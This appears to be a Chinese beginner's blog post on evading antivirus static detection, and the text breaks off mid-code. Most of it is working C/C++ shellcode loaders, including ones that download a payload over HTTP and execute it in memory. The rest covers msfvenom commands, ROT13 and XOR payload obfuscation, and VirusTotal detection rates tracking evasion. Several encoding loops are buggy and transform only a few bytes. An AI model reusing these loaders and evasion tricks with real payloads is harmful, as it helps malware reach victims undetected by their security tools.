恶意软件研究之静态检测

新手学习记录

文章目录

  • 静态检测
  • msf生成sheelcode
  • 常规sheelcodeloader
    • 空shellcode
    • messagebox
  • remote 远程加载shellcode文件
    • 空shellcode
    • 弹窗 messagebox
  • shellcode混淆
    • 使用 ROT13密码 位移13位
    • base编码
    • XOR异或
  • 签名
  • 删除链接库
  • 切换到x64环境
  • 参考链接:

静态检测

反恶意软件解决方案可以用三种类型的检测机制:

1.基于签名的检测-静态检查文件校验和(MD5,SHA1等)以及二进制文件中是否存在已知字符串或字节序列。

2.启发式检测-(通常)对应用程序行为进行静态分析并识别潜在的恶意特征(例如,使用通常与恶意软件相关联的特定功能)。

3.沙盒-对程序进行动态分析,该程序在受控环境(沙盒)中执行,其行为受监视。

存在逃避不同检测机制的多种技术。例如:

1.多态(或至少经常重新编译)的恶意软件可以逃过基于签名的检测。

2.对代码流的混淆可以逃避基于启发式的检测。

3.基于环境检查的条件语句可以检测并绕过沙盒。

4.敏感信息的编码或加密有助于绕过基于签名的检测和启发式检测。

msf生成sheelcode

linux下一键安装msf:https://www.cnblogs.com/qtzd/p/16413870.html

msfvenom -p windows/exec cmd=calc.exe -f raw -o shellcode.bin

msfvenom -p windows/exec cmd=calc.exe -f c

msfvenom -p windows/x64/messagebox TEXT="helloworld!" -f c

下面是弹出消息的sheelcode:

"\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xd0\x00\x00\x00\x41"
"\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60"
"\x3e\x48\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e\x48\x8b\x72"
"\x50\x3e\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac"
"\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2"
"\xed\x52\x41\x51\x3e\x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48"
"\x01\xd0\x3e\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x6f"
"\x48\x01\xd0\x50\x3e\x8b\x48\x18\x3e\x44\x8b\x40\x20\x49"
"\x01\xd0\xe3\x5c\x48\xff\xc9\x3e\x41\x8b\x34\x88\x48\x01"
"\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01"
"\xc1\x38\xe0\x75\xf1\x3e\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd6\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0\x66\x3e\x41"
"\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e\x41\x8b"
"\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58"
"\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41"
"\x59\x5a\x3e\x48\x8b\x12\xe9\x49\xff\xff\xff\x5d\x3e\x48"
"\x8d\x8d\x25\x01\x00\x00\x41\xba\x4c\x77\x26\x07\xff\xd5"
"\x49\xc7\xc1\x00\x00\x00\x00\x3e\x48\x8d\x95\x0e\x01\x00"
"\x00\x3e\x4c\x8d\x85\x1a\x01\x00\x00\x48\x31\xc9\x41\xba"
"\x45\x83\x56\x07\xff\xd5\x48\x31\xc9\x41\xba\xf0\xb5\xa2"
"\x56\xff\xd5\x68\x65\x6c\x6c\x6f\x77\x6f\x72\x6c\x64\x21"
"\x00\x4d\x65\x73\x73\x61\x67\x65\x42\x6f\x78\x00\x75\x73"
"\x65\x72\x33\x32\x2e\x64\x6c\x6c\x00";

常规sheelcodeloader

空shellcode

#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(void) {
    
	void * exec_mem;
	BOOL rv;
	HANDLE th;
  DWORD oldprotect = 0;

	//shellcode在main函数内,存储在pe结构的sections table中的.text部分
	unsigned char payload[] = {};
	unsigned int payload_len = sizeof(payload);
	
	// 使用VirtualAlloc申请一个可读可写的内存,这里没有申请执行权限是为了防止出现RWX权限的敏感内存
	exec_mem = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

	// 将shellcode复制到申请的内存中,这里还可以用memcpy等
	RtlMoveMemory(exec_mem, payload, payload_len);
	
	// 使用VirtualProtect添加执行权限
	rv = VirtualProtect(exec_mem, payload_len, PAGE_EXECUTE_READ, &oldprotect);

	// 如果返回正常,创建线程执行shellcode
	if ( rv != 0 ) {
			th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) exec_mem, 0, 0, 0);
			WaitForSingleObject(th, -1);
	}

	return 0;
}

hash-sha256:2555dae75e85e541e6e48725a1eeee67c3b2af55dafa39a7d9671bd2212d4995
VT 10/74:https://www.virustotal.com/gui/file/2555dae75e85e541e6e48725a1eeee67c3b2af55dafa39a7d9671bd2212d4995?nocache=1

messagebox

#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(void) {
    
	void * exec_mem;
	BOOL rv;
	HANDLE th;
  DWORD oldprotect = 0;

	//shellcode在main函数内,存储在pe结构的sections table中的.text部分
	unsigned char payload[] = 
	"\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xd0\x00\x00\x00\x41"
	"\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60"
	"\x3e\x48\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e\x48\x8b\x72"
	"\x50\x3e\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac"
	"\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2"
	"\xed\x52\x41\x51\x3e\x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48"
	"\x01\xd0\x3e\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x6f"
	"\x48\x01\xd0\x50\x3e\x8b\x48\x18\x3e\x44\x8b\x40\x20\x49"
	"\x01\xd0\xe3\x5c\x48\xff\xc9\x3e\x41\x8b\x34\x88\x48\x01"
	"\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01"
	"\xc1\x38\xe0\x75\xf1\x3e\x4c\x03\x4c\x24\x08\x45\x39\xd1"
	"\x75\xd6\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0\x66\x3e\x41"
	"\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e\x41\x8b"
	"\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58"
	"\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41"
	"\x59\x5a\x3e\x48\x8b\x12\xe9\x49\xff\xff\xff\x5d\x3e\x48"
	"\x8d\x8d\x25\x01\x00\x00\x41\xba\x4c\x77\x26\x07\xff\xd5"
	"\x49\xc7\xc1\x00\x00\x00\x00\x3e\x48\x8d\x95\x0e\x01\x00"
	"\x00\x3e\x4c\x8d\x85\x1a\x01\x00\x00\x48\x31\xc9\x41\xba"
	"\x45\x83\x56\x07\xff\xd5\x48\x31\xc9\x41\xba\xf0\xb5\xa2"
	"\x56\xff\xd5\x68\x65\x6c\x6c\x6f\x77\x6f\x72\x6c\x64\x21"
	"\x00\x4d\x65\x73\x73\x61\x67\x65\x42\x6f\x78\x00\x75\x73"
	"\x65\x72\x33\x32\x2e\x64\x6c\x6c\x00";
	unsigned int payload_len = sizeof(payload);
	
	// 使用VirtualAlloc申请一个可读可写的内存,这里没有申请执行权限是为了防止出现RWX权限的敏感内存
	exec_mem = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

	// 将shellcode复制到申请的内存中,这里还可以用memcpy等
	RtlMoveMemory(exec_mem, payload, payload_len);
	
	// 使用VirtualProtect添加执行权限
	rv = VirtualProtect(exec_mem, payload_len, PAGE_EXECUTE_READ, &oldprotect);

	// 如果返回正常,创建线程执行shellcode
	if ( rv != 0 ) {
			th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) exec_mem, 0, 0, 0);
			WaitForSingleObject(th, -1);
	}

	return 0;
}

hash-sha256:b1530c5b4a97bc5c6ddab4be90e75c202b55c77d0ac5c3fe8ccdab9493e9a43f

VT 查出率27/74 :https://www.virustotal.com/gui/file/b1530c5b4a97bc5c6ddab4be90e75c202b55c77d0ac5c3fe8ccdab9493e9a43f?nocache=1

remote 远程加载shellcode文件

空shellcode

#include <windows.h>
#include <wininet.h>
#pragma comment(lib, "wininet.lib")
#include <iostream>
#include <fstream>
#include <sstream>
#include <vector>
using namespace std;


// 将十六进制中的单个字符转换为相应的整数值
unsigned char hexCharToByte(char character) {
    if (character >= '0' && character <= '9') {
        return character - '0';
    }
    if (character >= 'a' && character <= 'f') {
        return character - 'a' + 10;
    }
    if (character >= 'A' && character <= 'F') {
        return character - 'A' + 10;
    }
    return 0;
}

// 将十六进制字符串转换成字节型数组
void hexStringToBytes(const std::string& hexString, unsigned char* byteArray, int byteArraySize) {
    for (int i = 0; i < hexString.length(); i += 2) {
        byteArray[i / 2] = hexCharToByte(hexString[i]) * 16 + hexCharToByte(hexString[i + 1]);
    }
}

/**
 * 从指定的URL下载内容并将其存储到给定的缓冲区中。
 *
 * @param url 要下载的URL
 * @param buffer 存储下载内容的缓冲区
 * @return 下载的字节数(注意:字节数是原始十六进制字符串长度的一半)
 */
size_t GetUrl_HexContent(LPSTR url, std::vector<unsigned char>& buffer) {
    HINTERNET hInternet, hConnect;
    DWORD bytesRead;
    DWORD bufferSize = 0;
    DWORD contentLength = 0;
    DWORD index = 0;
    DWORD bufferLength = sizeof(bufferSize);

    // 打开一个与互联网的连接
    hInternet = InternetOpen(L"User Agent", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
    if (hInternet == NULL) {
        std::cerr << "InternetOpen failed. Error: " << GetLastError() << std::endl;
        return 0;
    }

    // 打开一个URL连接
    hConnect = InternetOpenUrlA(hInternet, url, NULL, 0, INTERNET_FLAG_RELOAD, 0);
    if (hConnect == NULL) {
        std::cerr << "InternetOpenUrlA failed. Error: " << GetLastError() << std::endl;
        InternetCloseHandle(hInternet);
        return 0;
    }

    // 查询HTTP响应头中的内容长度
    HttpQueryInfo(hConnect, HTTP_QUERY_CONTENT_LENGTH | HTTP_QUERY_FLAG_NUMBER, &contentLength, &bufferLength, &index);
    std::vector<char> hexBuffer(contentLength + 1, 0);

    // 读取URL返回的内容到hexBuffer中
    if (!InternetReadFile(hConnect, &hexBuffer[0], contentLength, &bytesRead)) {
        std::cerr << "InternetReadFile failed. Error: " << GetLastError() << std::endl;
    }
    else if (bytesRead > 0) {
        hexBuffer[bytesRead] = '\0';
        // 调整buffer的大小,以便存储转换后的字节数据
        buffer.resize(bytesRead / 2);
        // 将十六进制字符串转换为字节型数组
        hexStringToBytes(&hexBuffer[0], &buffer[0], bytesRead / 2);
    }

    // 关闭连接
    InternetCloseHandle(hConnect);
    InternetCloseHandle(hInternet);

    // 返回读取到的字节数(注意:字节数是原始十六进制字符串长度的一半)
    return bytesRead / 2;
}


int main() {
    // 把这个URL换成你的shellcode文件的URL
    LPSTR url = (char*)"http://127.0.0.1:8000/shellcode_hex.txt";

    //存放恶意代码的数组
    std::vector<unsigned char> buffer;

    //获取远程url的16进制内容,并将其存放至buffer数组
    size_t size = GetUrl_HexContent(url, buffer);

    // 在内存中分配一块可以执行的区域
    char* exec = (char*)(VirtualAlloc)(NULL, size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

    // 将shellcode复制到该区域
    memcpy(exec, buffer.data(), size);

    // 执行该shellcode
    ((void(*) ())exec)();

    // 打印buffer的内容,只为演示,实际使用中可能并不需要这一步
    /*for (size_t i = 0; i < buffer.size(); i++) {
        printf("%02X ", buffer[i]);
        if ((i + 1) % 16 == 0) {
            printf("\n");
        }
    }*/

    return 0;
}

hash-sha256:580fd5d029744c260b9e03397ade6b7489b66fd78ada8b6df02711cc0af6651a

安恒沙箱:https://sandbox.dbappsecurity.com.cn/report/76f83ec2-22fd-4424-93bd-7da0ab1ae69b

弹窗 messagebox

由于是远程加载十六进制sheelcode,只需生成十六进制的sheelcode即可

admin@virtual-machine@virtual-machine:/mnt/hgfs/Desktop$ msfvenom -p windows/x64/messagebox TEXT="helloworld!" -f hex
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 317 bytes
Final size of hex file: 634 bytes
fc4881e4f0ffffffe8d0000000415141505251564831d265488b52603e488b52183e488b52203e488b72503e480fb74a4a4d31c94831c0ac3c617c022c2041c1c90d4101c1e2ed5241513e488b52203e8b423c4801d03e8b80880000004885c0746f4801d0503e8b48183e448b40204901d0e35c48ffc93e418b34884801d64d31c94831c0ac41c1c90d4101c138e075f13e4c034c24084539d175d6583e448b40244901d0663e418b0c483e448b401c4901d03e418b04884801d0415841585e595a41584159415a4883ec204152ffe05841595a3e488b12e949ffffff5d3e488d8d2501000041ba4c772607ffd549c7c1000000003e488d950e0100003e4c8d851a0100004831c941ba45835607ffd54831c941baf0b5a256ffd568656c6c6f776f726c6421004d657373616765426f78007573657233322e646c6c00

把这个hex放在远程服务上sheelcode_hex.txt中

#include <windows.h>
#include <wininet.h>
#pragma comment(lib, "wininet.lib")
#include <iostream>
#include <fstream>
#include <sstream>
#include <vector>
using namespace std;


// 将十六进制中的单个字符转换为相应的整数值
unsigned char hexCharToByte(char character) {
    if (character >= '0' && character <= '9') {
        return character - '0';
    }
    if (character >= 'a' && character <= 'f') {
        return character - 'a' + 10;
    }
    if (character >= 'A' && character <= 'F') {
        return character - 'A' + 10;
    }
    return 0;
}

// 将十六进制字符串转换成字节型数组
void hexStringToBytes(const std::string& hexString, unsigned char* byteArray, int byteArraySize) {
    for (int i = 0; i < hexString.length(); i += 2) {
        byteArray[i / 2] = hexCharToByte(hexString[i]) * 16 + hexCharToByte(hexString[i + 1]);
    }
}

/**
 * 从指定的URL下载内容并将其存储到给定的缓冲区中。
 *
 * @param url 要下载的URL
 * @param buffer 存储下载内容的缓冲区
 * @return 下载的字节数(注意:字节数是原始十六进制字符串长度的一半)
 */
size_t GetUrl_HexContent(LPSTR url, std::vector<unsigned char>& buffer) {
    HINTERNET hInternet, hConnect;
    DWORD bytesRead;
    DWORD bufferSize = 0;
    DWORD contentLength = 0;
    DWORD index = 0;
    DWORD bufferLength = sizeof(bufferSize);

    // 打开一个与互联网的连接
    hInternet = InternetOpen(L"User Agent", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
    if (hInternet == NULL) {
        std::cerr << "InternetOpen failed. Error: " << GetLastError() << std::endl;
        return 0;
    }

    // 打开一个URL连接
    hConnect = InternetOpenUrlA(hInternet, url, NULL, 0, INTERNET_FLAG_RELOAD, 0);
    if (hConnect == NULL) {
        std::cerr << "InternetOpenUrlA failed. Error: " << GetLastError() << std::endl;
        InternetCloseHandle(hInternet);
        return 0;
    }

    // 查询HTTP响应头中的内容长度
    HttpQueryInfo(hConnect, HTTP_QUERY_CONTENT_LENGTH | HTTP_QUERY_FLAG_NUMBER, &contentLength, &bufferLength, &index);
    std::vector<char> hexBuffer(contentLength + 1, 0);

    // 读取URL返回的内容到hexBuffer中
    if (!InternetReadFile(hConnect, &hexBuffer[0], contentLength, &bytesRead)) {
        std::cerr << "InternetReadFile failed. Error: " << GetLastError() << std::endl;
    }
    else if (bytesRead > 0) {
        hexBuffer[bytesRead] = '\0';
        // 调整buffer的大小,以便存储转换后的字节数据
        buffer.resize(bytesRead / 2);
        // 将十六进制字符串转换为字节型数组
        hexStringToBytes(&hexBuffer[0], &buffer[0], bytesRead / 2);
    }

    // 关闭连接
    InternetCloseHandle(hConnect);
    InternetCloseHandle(hInternet);

    // 返回读取到的字节数(注意:字节数是原始十六进制字符串长度的一半)
    return bytesRead / 2;
}


int main() {
    // 把这个URL换成你的shellcode文件的URL
    LPSTR url = (char*)"http://192.168.206.129/mar/mar/x64/Release/shellcode_hex.txt";

    //存放恶意代码的数组
    std::vector<unsigned char> buffer;

    //获取远程url的16进制内容,并将其存放至buffer数组
    size_t size = GetUrl_HexContent(url, buffer);

    // 在内存中分配一块可以执行的区域
    char* exec = (char*)(VirtualAlloc)(NULL, size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

    // 将shellcode复制到该区域
    memcpy(exec, buffer.data(), size);

    // 执行该shellcode
    ((void(*) ())exec)();

    // 打印buffer的内容,只为演示,实际使用中可能并不需要这一步
    /*for (size_t i = 0; i < buffer.size(); i++) {
        printf("%02X ", buffer[i]);
        if ((i + 1) % 16 == 0) {
            printf("\n");
        }
    }*/

    return 0;
}

hash-sha256:5b6df0cfaddd891b28e09ada4623fdb5d8691455926848992a3be6064af5acae

VT 查出率 14/74 :https://www.virustotal.com/gui/file/5b6df0cfaddd891b28e09ada4623fdb5d8691455926848992a3be6064af5acae?nocache=1

shellcode混淆

使用 ROT13密码 位移13位

编码:

#include <stdint.h>
#include <cstdio> // 包含printf的头文件


// ROT13 位移13位
void caesar_cipher(unsigned char* data, size_t length) {
	for (int i = 0; i < sizeof data; i++)
	{
		((char*)data)[i] = (((char*)data)[i]) - 13;
	}
}

void print_hex(const unsigned char* data, size_t length) {
	for (size_t i = 0; i < length; ++i) {
		printf("\\x%02x", data[i]); // 使用 \\x%02x 格式化字符为十六进制
	}
}

int main() {
	unsigned char payload[] =
		"\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xd0\x00\x00\x00\x41"
		"\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60"
		"\x3e\x48\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e\x48\x8b\x72"
		"\x50\x3e\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac"
		"\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2"
		"\xed\x52\x41\x51\x3e\x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48"
		"\x01\xd0\x3e\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x6f"
		"\x48\x01\xd0\x50\x3e\x8b\x48\x18\x3e\x44\x8b\x40\x20\x49"
		"\x01\xd0\xe3\x5c\x48\xff\xc9\x3e\x41\x8b\x34\x88\x48\x01"
		"\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01"
		"\xc1\x38\xe0\x75\xf1\x3e\x4c\x03\x4c\x24\x08\x45\x39\xd1"
		"\x75\xd6\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0\x66\x3e\x41"
		"\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e\x41\x8b"
		"\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58"
		"\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41"
		"\x59\x5a\x3e\x48\x8b\x12\xe9\x49\xff\xff\xff\x5d\x3e\x48"
		"\x8d\x8d\x25\x01\x00\x00\x41\xba\x4c\x77\x26\x07\xff\xd5"
		"\x49\xc7\xc1\x00\x00\x00\x00\x3e\x48\x8d\x95\x0e\x01\x00"
		"\x00\x3e\x4c\x8d\x85\x1a\x01\x00\x00\x48\x31\xc9\x41\xba"
		"\x45\x83\x56\x07\xff\xd5\x48\x31\xc9\x41\xba\xf0\xb5\xa2"
		"\x56\xff\xd5\x68\x65\x6c\x6c\x6f\x77\x6f\x72\x6c\x64\x21"
		"\x00\x4d\x65\x73\x73\x61\x67\x65\x42\x6f\x78\x00\x75\x73"
		"\x65\x72\x33\x32\x2e\x64\x6c\x6c\x00";
	unsigned int payload_len = sizeof(payload);


	caesar_cipher(payload, payload_len);
	print_hex(payload, payload_len);
	printf("\n");

	return 0;
}

解码执行:

#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include<iostream>
#include<cctype>
using namespace std;

//ROT13 编码 逆向位移13
void caesar_cipher(unsigned char* data, size_t length) {
	for (int i = 0; i < sizeof data; i++)
	{
		((char*)data)[i] = (((char*)data)[i]) + 13;
	}
}



int main(void) {

	void* exec_mem;
	BOOL rv;
	HANDLE th;
	DWORD oldprotect = 0;

	//shellcode在main函数内,存储在pe结构的sections table中的.text部分
	unsigned char payload[] = "\xef\x3b\x74\xd7\xe3\xf2\xf2\xf2\xe8\xd0\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x3e\x48\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e\x48\x8b\x72\x50\x3e\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x3e\x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48\x01\xd0\x3e\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x6f\x48\x01\xd0\x50\x3e\x8b\x48\x18\x3e\x44\x8b\x40\x20\x49\x01\xd0\xe3\x5c\x48\xff\xc9\x3e\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x3e\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd6\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0\x66\x3e\x41\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x3e\x48\x8b\x12\xe9\x49\xff\xff\xff\x5d\x3e\x48\x8d\x8d\x25\x01\x00\x00\x41\xba\x4c\x77\x26\x07\xff\xd5\x49\xc7\xc1\x00\x00\x00\x00\x3e\x48\x8d\x95\x0e\x01\x00\x00\x3e\x4c\x8d\x85\x1a\x01\x00\x00\x48\x31\xc9\x41\xba\x45\x83\x56\x07\xff\xd5\x48\x31\xc9\x41\xba\xf0\xb5\xa2\x56\xff\xd5\x68\x65\x6c\x6c\x6f\x77\x6f\x72\x6c\x64\x21\x00\x4d\x65\x73\x73\x61\x67\x65\x42\x6f\x78\x00\x75\x73\x65\x72\x33\x32\x2e\x64\x6c\x6c\x00\x00";
	
	unsigned int payload_len = sizeof(payload);

	caesar_cipher(payload, payload_len);

	// 使用VirtualAlloc申请一个可读可写的内存,这里没有申请执行权限是为了防止出现RWX权限的敏感内存
	exec_mem = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

	// 将shellcode复制到申请的内存中,这里还可以用memcpy等
	RtlMoveMemory(exec_mem, payload, payload_len);

	// 使用VirtualProtect添加执行权限
	rv = VirtualProtect(exec_mem, payload_len, PAGE_EXECUTE_READ, &oldprotect);

	// 如果返回正常,创建线程执行shellcode
	if (rv != 0) {
		th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)exec_mem, 0, 0, 0);
		WaitForSingleObject(th, -1);
	}

	return 0;
}

hash-sha256:37bada0f00bc012ff183b7a19a89481550b5a652ac55cff218df435cc64c94de

VT 查出率25/73 : 请添加图片描述

https://www.virustotal.com/gui/file/37bada0f00bc012ff183b7a19a89481550b5a652ac55cff218df435cc64c94de?nocache=1

base编码

XOR异或

加密的脚本 https://github.com/Arno0x/ShellcodeWrapper 虚拟机中没有python,下面是C++实现的

异或脚本:

#include <windows.h>
#include <iostream>
#include <string>
#include <vector>



void xorData(unsigned char* data, size_t length, unsigned char* key) {

    int j = 0;
    for (int i = 0; i < sizeof length; i++) {
        if (j == sizeof key - 1) j = 0;
        data[i] = data[i] ^ key[j];
        j++;
    }

}

void print_hex(const unsigned char* data, size_t length) {
    for (size_t i = 0; i < length; ++i) {
        printf("\\x%02x", data[i]); // 使用 \\x%02x 格式化字符为十六进制
    }
}

int main() {
    unsigned char payload[] =
        "\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xd0\x00\x00\x00\x41"
        "\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60"
        "\x3e\x48\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e\x48\x8b\x72"
        "\x50\x3e\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac"
        "\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2"
        "\xed\x52\x41\x51\x3e\x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48"
        "\x01\xd0\x3e\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x6f"
        "\x48\x01\xd0\x50\x3e\x8b\x48\x18\x3e\x44\x8b\x40\x20\x49"
        "\x01\xd0\xe3\x5c\x48\xff\xc9\x3e\x41\x8b\x34\x88\x48\x01"
        "\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01"
        "\xc1\x38\xe0\x75\xf1\x3e\x4c\x03\x4c\x24\x08\x45\x39\xd1"
        "\x75\xd6\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0\x66\x3e\x41"
        "\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e\x41\x8b"
        "\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58"
        "\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41"
        "\x59\x5a\x3e\x48\x8b\x12\xe9\x49\xff\xff\xff\x5d\x3e\x48"
        "\x8d\x8d\x25\x01\x00\x00\x41\xba\x4c\x77\x26\x07\xff\xd5"
        "\x49\xc7\xc1\x00\x00\x00\x00\x3e\x48\x8d\x95\x0e\x01\x00"
        "\x00\x3e\x4c\x8d\x85\x1a\x01\x00\x00\x48\x31\xc9\x41\xba"
        "\x45\x83\x56\x07\xff\xd5\x48\x31\xc9\x41\xba\xf0\xb5\xa2"
        "\x56\xff\xd5\x68\x65\x6c\x6c\x6f\x77\x6f\x72\x6c\x64\x21"
        "\x00\x4d\x65\x73\x73\x61\x67\x65\x42\x6f\x78\x00\x75\x73"
        "\x65\x72\x33\x32\x2e\x64\x6c\x6c\x00";
    unsigned int payload_len = sizeof(payload);

    unsigned char key[] = "tidesec";

    xorData(payload, payload_len, key);

    print_hex(payload, payload_len);

}

shellcodeloader:

#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include<iostream>
#include<cctype>
using namespace std;

//XOR异或
void xorData(unsigned char* data, size_t length, unsigned char* key) {
	int j = 0;
	for (int i = 0; i < sizeof length; i++) {
		if (j == sizeof key - 1) j = 0;
		data[i] = data[i] ^ key[j];
		j++;
	}
}

int main(void) {

	void* exec_mem;
	BOOL rv;
	HANDLE th;
	DWORD oldprotect = 0;

	//shellcode在main函数内,存储在pe结构的sections table中的.text部分
	unsigned char payload[] = "\x88\x21\xe5\x81\x83\x9a\x9c\x8b\xe8\xd0\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x3e\x48\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e\x48\x8b\x72\x50\x3e\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x3e\x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48\x01\xd0\x3e\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x6f\x48\x01\xd0\x50\x3e\x8b\x48\x18\x3e\x44\x8b\x40\x20\x49\x01\xd0\xe3\x5c\x48\xff\xc9\x3e\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x3e\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd6\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0\x66\x3e\x41\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x3e\x48\x8b\x12\xe9\x49\xff\xff\xff\x5d\x3e\x48\x8d\x8d\x25\x01\x00\x00\x41\xba\x4c\x77\x26\x07\xff\xd5\x49\xc7\xc1\x00\x00\x00\x00\x3e\x48\x8d\x95\x0e\x01\x00\x00\x3e\x4c\x8d\x85\x1a\x01\x00\x00\x48\x31\xc9\x41\xba\x45\x83\x56\x07\xff\xd5\x48\x31\xc9\x41\xba\xf0\xb5\xa2\x56\xff\xd5\x68\x65\x6c\x6c\x6f\x77\x6f\x72\x6c\x64\x21\x00\x4d\x65\x73\x73\x61\x67\x65\x42\x6f\x78\x00\x75\x73\x65\x72\x33\x32\x2e\x64\x6c\x6c\x00\x00";
	
	unsigned int payload_len = sizeof(payload);
	//KEY
	unsigned char key[] = "tidesec";

	xorData(payload, payload_len, key);

	// 使用VirtualAlloc申请一个可读可写的内存,这里没有申请执行权限是为了防止出现RWX权限的敏感内存
	exec_mem = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

	// 将shellcode复制到申请的内存中,这里还可以用memcpy等
